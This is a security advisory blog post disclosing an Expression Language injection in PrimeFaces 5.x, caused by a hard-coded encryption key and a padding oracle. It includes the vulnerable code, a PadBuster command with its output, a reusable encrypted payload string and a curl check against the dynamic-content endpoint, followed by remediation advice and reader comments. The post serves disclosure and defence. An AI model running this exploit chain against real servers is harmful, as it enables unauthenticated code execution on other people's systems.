Monday, February 15, 2016

RCE in Oracle NetBeans Opensource Plugins: PrimeFaces 5.x Expression Language Injection

PrimeFaces is a open source User Interface (UI) component library for JavaServer Faces (JSF) based applications, since its release, PrimeFaces has been strongly supported by Oracle, particularly within the NetBeans world.

Disclosure Timeline

PrimeFaces team has been contacted on 20/06/2015 (7 months ago) providing  the following details. Unfortunately the vulnerability has still not been fixed.

PrimeFaces team was asking us to send a github pull request to the public PrimeFaces github dev group; since public pull requests can be read by anyone, we thought that we could link this public content to inform both developers and final users.

PrimeOracle and PrimeSecret Vulnerability Detail

The following two issues have been successfully exploited against PrimeFaces 5.x and 5.3.x, including but not limited to PrimeFaces 5.3.6 version.

The following video shows the impact of these vulnerabilities against a vulnerable Oracle Netbeans 8.0.2 setup with PrimeFaces plugin:




Security issues are cryptographic vulnerabilities that let unauthenticated users to inject arbitrary Expression Language code to PrimeFaces custom EL parser. Both issues have the same sink: EL expression evaluation.

In this post we shared a generic payload to execute a remote interactive command shell via EL .

These two Crypto issues have been called "PrimeSecret" and "PrimeOracle".

Eventually by abusing one of these issues any user can execute arbitrary code on the application server without authentication.

1) PrimeSecret is the default hard-coded passphrase to encrypt several PrimeFaces parameters such as "pfdrid" (by Stefano Di Paola).

2) PrimeOracle is the abuse of a Padding Oracle attack against the internal crypto algorithm that decrypts several parameters such as "pfdrid" (by Giorgio Fedon).


The common vulnerable sink for both security issues is the PrimeFaces Streamed Content Handler that executes EL inline:

/org/primefaces/application/resource/StreamedContentHandler.java

..
String dynamicContentId = (String)
params.get(Constants.DYNAMIC_CONTENT_PARAM);
...
String dynamicContentEL = strEn.decrypt(dynamicContentId);
...
ValueExpression ve =
context.getApplication().getExpressionFactory().createValueExpression(context.getELContext(),
dynamicContentEL, StreametreamedContent.class);
streamedContent = (StreamedContent) ve.getValue(eLContext);



In 2011 a user already reported to the dev team the dangerous impacts of EL injection: 
StreamlinedContent is not a new sink to PrimeFaces dev community as clearly stated in that old post. However at that time the issue was much easier to be exploited.

In short we bypassed a partial security fix available in the newer versions of Primefaces to abuse a known vulnerability.

PrimeSecret


Vulnerable Code that leads to PrimeSecret:

file: "/org/primefaces/config/ConfigContainer.java"

// By default encryption Key is the hardcoded string "primefaces"

secretKey = (value == null) ? "primefaces" : value;


PrimeOracle


Vulnerable Code that leads to PrimeOracle:

file: "/org/primefaces/util/StringEncrypter.java"


// 8-bytes Salt <- Static IV
byte[] salt = {
(byte) 0xA9, (byte) 0x9B, (byte) 0xC8, (byte) 0x32,
(byte) 0x56, (byte) 0x34, (byte) 0xE3, (byte) 0x03
};
...


// Padding Oracle vulnerability since the DES cipher is CBC based
// and process encrypted text without verification (e.g. // HMAC)

KeySpec keySpec = new PBEKeySpec(passPhrase.toCharArray(),
salt, iterationCount);
SecretKey key =
SecretKeyFactory.getInstance("PBEWithMD5AndDES").generateSecret(keySpec);


Exploitation is easy with PadBuster


In the following example we are going to show the exploitation of  PrimeOracle issue. PrimeOracle exploit can be seen as a generic way to exploit both issues. With PrimeOracle is possible to obtain a resulting exploit parameter string that can be reused against all targets with the same password.

That resulting string obtained from a host vulnerable to Primesecret, will work against all the target with the default secretKey configuration parameter.

First of all for this exploit to work you need a tool to exploit Padding Oracle Vulnerabilities like the beautiful PadBuster tool from GDS Security. Then you can choose any EL payload to be encrypt using the tool.

In this case the payload we have chosen is:

// Set a response Header with a value of "primesecretchk" Request Parameter
${facesContext.getExternalContext().setResponseHeader("primesecretchk",request.getParameter("primesecretchk"))}


Note: Any EL can be executed: payloads can range from reading user session parameters, to arbitrary code execution that can lead to OS compromise.

Then just launch Padbuster with the following command:

./padBuster.pl
"http://localhost:8085/showcase-5.1/javax.faces.resource/dynamiccontent.properties.xhtml?pfdrt=sc&ln=primefaces&pfdrid=C24UkygWm3HMmnSxmDwoxw%3D%3D"
"C24UkygWm3HMmnSxmDwoxw%3D%3D" 8 -encoding 0 -plaintext
'${facesContext.getExternalContext().setResponseHeader("primesecretchk",request.getParameter("primesecretchk"))}'


+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+

INFO: The original request returned the following
[+] Status: 500
[+] Location: N/A
[+] Content Length: 65766

INFO: Starting PadBuster Encrypt Mode
[+] Number of Blocks: 14

INFO: No error string was provided...starting response analysis

*** Response Analysis Complete ***

The following response signatures were returned:

-------------------------------------------------------
ID#    Freq    Status    Length    Location
-------------------------------------------------------
1    1    500    65715    N/A
2 **    255    200    0    N/A
-------------------------------------------------------

Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended :2

-------------------------------------------------------
** Finished ***

[+] Encrypted value is:
wQR45Hj4OwBRgKBtl5v%2FG4elO1lYWl%2BZfvjy1R79FgJ%2F3H%2BKYopezNVswr9KFx%2B8XaKwW6Tq3bG8OxNcX3CjCO5%2F1SsvFbW8gn6BL38vAt03Pz2scc3fGrGm3Vi7A7wdmqDjIu5mWyXWVXipcGirQgAAAAAAAAAA

-------------------------------------------------------


To check if the application is vulnerable:

n0def@n0def-U36SG:~/Desktop/PadBuster-master$
enc="wQR45Hj4OwBRgKBtl5v%2FG4elO1lYWl%2BZfvjy1R79FgJ%2F3H%2BKYopezNVswr9KFx%2B8XaKwW6Tq3bG8OxNcX3CjCO5%2F1SsvFbW8gn6BL38vAt03Pz2scc3fGrGm3Vi7A7wdmqDjIu5mWyXWVXipcGirQgAAAAAAAAAA";
chk="123445456"; curl -X POST
"http://localhost:8085/showcase-5.1/javax.faces.resource/dynamiccontent.properties.xhtml"
-ki -kvvv -d "pfdrt=sc&ln=primefaces&pfdrid=$enc&primesecretchk=$chk"| grep $chk

primesecretchk: 123445456



//Note: the previous request will work against all systems vulnerable to PrimeSecret! Since // has been generated on a host with "primefaces" secretKey



The application is vulnerable because of the new added response header: "primesecretchk: 123445456"

Remediation

Since an official patch is still not available end users and companies can protect their application by disabling StreamedContentHandler.java.

Alternatively by filtering incoming requests with pfdrid parameter (value longer than 16bytes and Base64 encoded) and "pfdrt=sc" is possible to mitigate the attack: "pfdrt=sc" calls the vulnerable StreamedContent Method and pfdrid contains the exploit payload.

Isn't enough to change the default "secretKey"?

Unfortunately not: changing the default secretKey is not enough because of the padding oracle vulnerability issue that in this post has been named PrimeOracle.


16 comments :

  1. An official fix has been issued!

    https://github.com/primefaces/primefaces/issues/1152

    ReplyDelete
  2. Community users of PrimeFaces will probably be left exposed until version 6.0 will be released.

    ReplyDelete
  3. This really is beautiful. Thanks!

    ReplyDelete
  4. Nice, 6 years ago we exploited Apache MyFaces: http://usenix.org/legacy/events/woot10/tech/full_papers/Rizzo.pdf https://www.youtube.com/watch?v=euujmKDxmC4

    ReplyDelete
  5. is the vulnerability mitigated for Prime Faces 6?

    ReplyDelete
  6. What is the exploit for primesecret issue ?

    ReplyDelete
    Replies
    1. The exploit for the primesecret herein showed is adding an additional response header to check for a vulnerable host. Since primeoracle is working against a default installation you can use the output of Padbuster (showed in this post) and it will work against a primesecret vulnerable installation

      Delete
  7. Will happy for the clarification about the Remediation:
    Why not enough to filter all requests with "pfdrt=sc"?
    Why need to ensure that pfdrid parameter longer than 16bytes and Base64 encoded?

    ReplyDelete
    Replies
    1. We opened this pull request:

      https://github.com/primefaces/primefaces/issues/1152

      and the author fixed the issue by keeping in session the pfrid parameter. We suggest to use the latest version provided by the vendor with the correct fix implemented

      Delete
  8. Have you ever claimed a CVE for this one?

    ReplyDelete
    Replies
    1. We contacted the developers and we opened a pull request on github.com. For us it's important that vulnerabilities get fixed. A CVE has not been claimed but it should.

      Delete
    2. OK, I filed one here: https://docs.google.com/spreadsheets/d/1Jq_OpPxS5q8dLYdoWjKmklQG2AH8d9vl_2oKp-eGwA0

      Delete
    3. I just got CVE-2017-1000486 assigned via iwantacve.org. This will soon be published on cve.mitre.org and cvedetails.com to help people filter out vulnerable versions.

      Delete
    4. CVE-2017-1000486 links to this article

      Delete
  9. Hi, is there a way to decode the pfdrid? I tried urldecode followed by base64, but clearly there is something more going on

    ReplyDelete